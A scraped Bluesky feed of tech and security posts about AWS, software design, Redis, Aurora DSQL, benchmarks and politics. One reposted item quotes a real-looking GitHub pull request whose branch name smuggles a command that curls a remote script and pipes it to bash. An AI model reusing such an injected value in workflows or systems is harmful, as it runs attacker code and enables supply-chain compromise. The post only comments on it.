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irrationalengineering @irrational.engineering · 24/06/2025

I finished reading Dr. John K. Ousterhout's A Philosophy of Software Design and wrote a short review of it. Overall, I found it to provide a good overview of design at a level appropriate for junior engineers. Still worth reading for seniors, too! blog.irrational.engineering/Book-Reviews...

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A Philosophy of Software Design (Ousterhout)

A Philosophy of Software Design by J. K. Ousterhout.

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irrationalengineering @irrational.engineering · 04/05/2025

System upgrades seem to take exactly as long as it takes for you to get nervous that it didn't work, plus one minute.

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Natalie Wynn @contrapoints.bsky.social · 09/04/2025

the shift from “I never thought leopards would eat MY face” to “eat my face harder leopard daddy” must be studied

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Deviant Ollam ツ @deviantollam.bsky.social · 08/04/2025

Can you believe that until just a few months ago, @tarah.org and I had *never* given a presentation *together* on a stage? MSP GeekCon event was officially our diner scene from "Heat"... at long last, here we are together on a stage, passing the mic back and forth... youtu.be/_-GuGE-_koY Enjoy!

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Tarah & Deviant - "He is the one who Knocks, I'm the one who Makes You Comply" [MSP GeekCon 2024]

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irrationalengineering @irrational.engineering · 24/03/2025

Great quick post about EBS volume limitations. If you have any EBS volumes, you should definitely alarm on latency.

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Bryan Cantrill @bcantrill.bsky.social · 13/01/2025

Paul Graham's latest piece is the hottest piece of garbage he's ever written -- which honestly is really saying something. But I take solace in the HN comments, the most upvoted of which observes that his mind has turned to mush. news.ycombinator.com/item?id=4268...

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The Origins of Wokeness | Hacker News

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SwiftOnSecurity @swiftonsecurity.com · 11/01/2025

==Training Lesson== INVESTIGATION NARRATIVE: SSH Kill la Killed 🧵 My job is to solve the Weird Problems as the Final escalation tier. I do this with generalist knowledge and practical experience. New InfoSec/IT entrants often ask what this looks like in practice. Follow below.

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irrationalengineering @irrational.engineering · 13/01/2025

Nvidia must be keeping driver installation near-impossible to get right to hold back AGI because the world is not ready yet

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Robert Evans (the Only Robert Evans) @iwriteok.bsky.social · 10/01/2025

after days of grifters and con men at CES we stumbled upon the booth for VLC. they were all dressed as wizards and told us, "we have nothing to sell, we just decided to show up". i told them I'd been using their software to pirate media for 15 years and they said "keep doing that"

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Bryan Cantrill @bcantrill.bsky.social · 20/12/2024

Yes! The credible exit is SO important -- and is exactly what is annhilated by these license changes. I would love to magically appear in board meetings of OSS companies and read this post aloud to them...

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irrationalengineering @irrational.engineering · 20/12/2024

And now that Casey's explainer is getting some visibility, Ben doesn't engage with it all, simply replying "I welcome improvements". Ben, you are making a fool of yourself, quit while you are ahead. This microbenchmark is utterly useless, no improvements can be made!

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The Onion @theonion.com · 19/12/2024

Building Shitty Gingerbread House Just Making Depression Worse theonion.com/building-shi...

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Charity Majors @charity.wtf · 17/12/2024

I (finally) wrote up my thoughts on "Founder Mode" and the Brian Chesky morality tale about how he turned around Airbnb company culture. This has made it into the Silicon Valley water table; it must be dealt with. There are some good nuggets within; let's dig them out. charity.wtf/2024/12/17/f...

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“Founder Mode” and the Art of Mythmaking

I’ve never been good at “hot takes”. Anyone who knows anything about marketing can tell you that the best time to share your opinion about something is when everyone is all worked up about it. Hot …

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Selena Larson @selenalarson.bsky.social · 17/12/2024

"What radicalized you?" Hospitals, schools, libraries, SLTT govs getting disrupted. My sister impacted by ransomware *four different times*, disrupting her work and life. Watching criminals get away with it for so long. I wrote about why we need to change our thinking. www.rusi.org/explore-our-...

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Why Biasing Advanced Persistent Threats over Cybercrime is a Security Risk

Once reserved for nation-state actors, advanced and persistent cyber tactics are now common among cybercriminals, making them equally devastating in today’s threat landscape.

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Adam Leventhal @ahl.bsky.social · 14/12/2024

Latest OxF is up on the pod—AND we’re back again monday when @pfrazee.com joins me and @bcantrill.bsky.social! share.transistor.fm/s/081bb0ed

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Conferences in Tech | Oxide and Friends | Episode 31

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dax @thdxr.com · 11/12/2024

devin stuck in vim rn he just like you

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irrationalengineering @irrational.engineering · 11/12/2024

The AWS console's new Cloudscape UI is one of the worst UIs I have ever had the displeasure of using. So much money spent on engineering this crap and for what? It's a regression in every way (for the customer, not that AWS cares anymore). @quinnypig.com save me patron saint of AWS

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Freya Holmér @freya.bsky.social · 10/12/2024

it's kinda sad that digital work is so hidden like there's no messy study room or bookshelves full of works you've read or letters from people and gizmos and widgets you've built or stacks of drawings and diagrams it's all just, hidden in folders, already lost in space, and eventually lost to time

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antirez @antirez.bsky.social · 10/12/2024

Dear friends, I'm rejoining Redis. It's a long story, so it deserved a blog post to explain all the details: antirez.com/news/144

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From where I left - <antirez>

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TracketPacer @tracketpacer.com · 07/12/2024

things ppl on the internet got angry at me for in 2024 🧵

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Matt Keeter @mattkeeter.com · 06/12/2024

absolutely incredible attack vector

Picture of a Github PR with text reading

openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

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Marc Brooker @marcbrooker.bsky.social · 05/12/2024

Today's third blog post on Aurora DSQL: this time looking at the write and commit path, and how conflicts are detected and handled: brooker.co.za/blog/2024/12...

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DSQL Vignette: Transactions and Durability - Marc's Blog

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Jon Johnson @jon.dag.dev · 08/11/2024

This will not surprise anyone but my enthusiasm for gzip is at an all time high since looking at github.com/mxmlnkn/rapi... It is so ridiculously clever. I am jealous that I did not come up with this myself. tl;dr speculatively decompressing anything that looks like DEFLATE goes brrrrrrrr

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GitHub - mxmlnkn/rapidgzip: Gzip Decompression and Random Access for Modern Multi-Core Machines

Gzip Decompression and Random Access for Modern Multi-Core Machines - mxmlnkn/rapidgzip

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irrationalengineering @irrational.engineering · 06/12/2024

@cmuratori.bsky.social did a great, short explanation of why that stupid languages benchmark from Ben Dicken is terrible x.com/cmuratori/st...

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Jacob S. Zelko @thecedarprince.bsky.social · 29/11/2024

Hey folks, we have a final request for comments for our JuliaHealth Mini-Symposium draft submission! 🧪 🛟🩺 Have any final thoughts? Click on the link to learn more! We will be submitting December 1st! Let's bring #julialang to health research, together! #medsky #AcademicTwitter #publicHealth

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JuliaHealth Mini-Symposium Draft Comments

Hi folks! 👋 We are looking for final comments about our JuliaHealth Mini-Symposium draft submission we have created! You can view the draft here: JuliaHealth Mini-Symposium - JuliaCon 2025 - Google D...

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New York Times is Anti-Trans @nytimes.lgbt · 02/12/2024

The funny thing about domain verification is that there are so many top level domains and no company can get them all. Therefore, I got the nytimes.lgbt domain to be able to create an account to criticize them for their transphobic coverage.

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Marc Brooker @marcbrooker.bsky.social · 03/12/2024

New blog post, with my personal take on our launch of Amazon Aurora DSQL: brooker.co.za/blog/2024/12...

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DSQL Vignette: Aurora DSQL, and A Personal Story - Marc's Blog

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Eric Hammond @esh.dev · 02/12/2024

I started to look into the features of last night's AWS #reInvent announcement about the new AWS Security Incident Response, then I noticed the pricing. On to the next announcement.

"Tier 1: A minimum monthly fee of $7,000 for the first $0 to $125,000 monthly AWS spend

Tier 2: The sum of the previous tier plus 5.0% of the spend from the next $125,000 to 250,000

Tier 3: The sum of the previous tier plus 3.5% of the spend from the next $250,000 to $500,000

Tier 4: The sum of the previous tier plus 1.5% of the spend from the next $500,000 to $1,000,000

Tier 5: The sum of the previous tier plus 0.5% of the spend above $1,000,000"

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SwiftOnSecurity @swiftonsecurity.com · 02/12/2024

There are two stages of a security career: Before you know the truth of what you read in the news on an incident, and after, when you know exactly what happened and can't say a single fucking thing.

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hailey @hailey.at · 03/12/2024

god punishes software engineers by forcing them to read patch file diffs in the github diff viewer.

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Courtney Milan @courtneymilan.com · 29/11/2024

Here's my incredibly popular opinion that will never get any traction: Most software does not need new features. None. Zero. Zilch.

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irrationalengineering @irrational.engineering · 24/11/2024

another banger from Ludicity on why caring about your job is good actually ludic.mataroa.blog/blog/why-i-w...

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Why I Will Always Be Angry About Software Engineering — Ludicity

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P(aul) Frazee @pfrazee.com · 15/11/2024

Servers are making a weird sound hang with us

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Jay 🦋 @jay.bsky.team · 14/11/2024

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dax @thdxr.com · 12/11/2024

ok daily stand up what are you working on and what are your blockers and why is this a thing

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૮ ･ ﻌ･ა Trash Puppy @trshpuppy.bsky.social · 11/11/2024

Idk if this works but my TL is just devs & no hackers so… Hacking Infosec Bug bounty Offensive security HACKING Malware Reverse engineering Hacking Python sucks Golang forever Penetration testing The movie ‘Hackers’ Hacking

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Jacob S. Zelko @thecedarprince.bsky.social · 28/10/2024

BlueSky #julialang programmers, assemble! If new to BlueSky, want to learn more about Julia programming, and meet other Julia programmers, check out this starter pack! Let me or @cscherrer.bsky.social know if you are a Julian and we can add you! bsky.app/starter-pack...

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dax @thdxr.com · 08/11/2024

we have made a decision youtu.be/sg4CnvoI7eg

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Corey Quinn @quinnypig.com · 05/11/2024

On the eve of the election, I just want to say this: We can debate policy. We can’t debate “who gets to be people.” I’m not suggesting that everyone on the other side is a bigot—but it’s clear that for you folks, bigotry isn’t a dealbreaker. And that, I will never understand.

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John Spurlock @johnspurlock.com · 09/11/2024

for new #rss people coming in: you can follow any #bluesky profile in your feed reader, just tack on "/rss" to the end of the profile url e.g. bsky.app/profile/john...

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